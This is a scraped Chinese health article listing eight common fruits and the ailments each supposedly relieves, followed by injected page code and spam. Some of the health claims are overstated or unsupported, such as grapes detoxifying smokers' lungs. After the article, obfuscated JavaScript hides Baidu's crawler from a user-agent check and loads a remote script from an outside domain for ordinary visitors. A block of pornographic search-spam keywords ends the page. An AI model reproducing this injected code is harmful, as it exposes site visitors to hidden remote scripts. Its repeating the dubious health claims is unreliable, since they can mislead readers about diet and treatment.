當前位置:首頁 > 飲食 > 食物營養 > 正文

常見水果的營養食療功效!

2017-07-23 22:50:23  來源:360常識網   熱度:
導語:水果是大家平時常吃的,那么吃水果要注意哪些呢?水果的營養有哪些呢?下面就來了解一下常見水果的營養食療功效。 常見水果的營養和食療作

水果是大家平時常吃的,那么吃水果要注意哪些呢?水果的營養有哪些呢?下面就來了解一下常見水果的營養食療功效。

常見水果的營養和食療作用

1、芒果 —— 預防皺紋

芒果是預防皺紋的最佳水果,因為含有豐富的B一胡蘿卜素和獨一無二的酶,能激發肌膚細胞活力,促進廢棄物排出。

2、菠蘿 —— 肌肉拉傷

肌肉拉傷后,組織發炎、血液循環不暢,受傷部位紅腫熱痛。菠蘿所含的菠蘿蛋白酶成分具有消炎作用,可促進組織修復。

3、香蕉 —— 過度用腦

過度用腦導致人體內維生素、礦物質及熱量缺乏,補充香蕉可提供所需營養物質并緩解消極情緒。

4、番木瓜 —— 過度用眼

過度用眼,則視網膜感光所依靠的關鍵物質維生素A大量消耗,此時就需要食用可提供大量維生素A的番木瓜。

5、獼猴桃 —— 牙齦出血

缺乏維生素c的人牙齦變得脆弱,常常出血、腫脹,獼猴桃的維生素c含量是水果中最豐富的。

6、柳橙 —— 腳氣困擾

體內缺乏維生素B1的人容易受腳氣困擾。這種情況下最適合選擇柳橙,它富含維生素B1,并幫助葡萄糖新陳代謝。

7、鱷梨 —— 染發燙發

染發燙發過程會奪走頭發中的水分和油脂,使頭發變得干枯。成熟的鱷梨中含有30%的珍貴植物油脂——油酸,對于干枯的頭發有特殊功效。

8、葡萄 —— 長期吸煙

長期吸煙的人肺部積聚大量毒素,功能受損。葡萄中所含有效成分能提高細胞新陳代謝率,幫助肺部細胞排毒。另外,葡萄還具有祛痰作用。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品国产精品乱码不99| 久99频这里只精品23热视频| 国产精品.XX视频.XXTV| 国产伦精品一区二区三区视频猫咪 | 97香蕉久久夜色精品国产| 蜜臀AV无码精品人妻色欲| 国产亚洲精品美女久久久久 | 成人午夜亚洲精品无码网站| 午夜不卡久久精品无码免费| 亚洲国产精品成人一区| 国产精品免费无遮挡无码永久视频 | 国产精品午夜爆乳美女视频| 久久综合精品国产一区二区三区| 国产精品99精品久久免费| 免费观看国产精品| 国产午夜亚洲精品国产| 亚洲精品麻豆av| 另类国产精品一区二区| 91精品国产色综合久久不| 国内精品视频一区二区八戒| 精品无码人妻一区二区三区不卡 | 国产精品成人自拍| 国产精品电影在线观看| 国产精品成人一区二区| 国产精品林美惠子在线播放 | 国产精品一区二区香蕉| 国产成人精品高清在线观看93 | 日韩国产成人资源精品视频| 久久久久夜夜夜精品国产| 国产精品成人久久久久三级午夜电影| 国产av一区最新精品| 亚洲精品天堂在线观看| 亚洲国产精品线观看不卡| 国产高清在线精品一本大道国产| 久久久g0g0午夜无码精品| 国产成人精品日本亚洲专| 精品人妻中文字幕有码在线| 久久国产精品鲁丝片| 黑人无码精品又粗又大又长 | 国产精品不卡视频| 国产精品亚洲专区无码唯爱网 |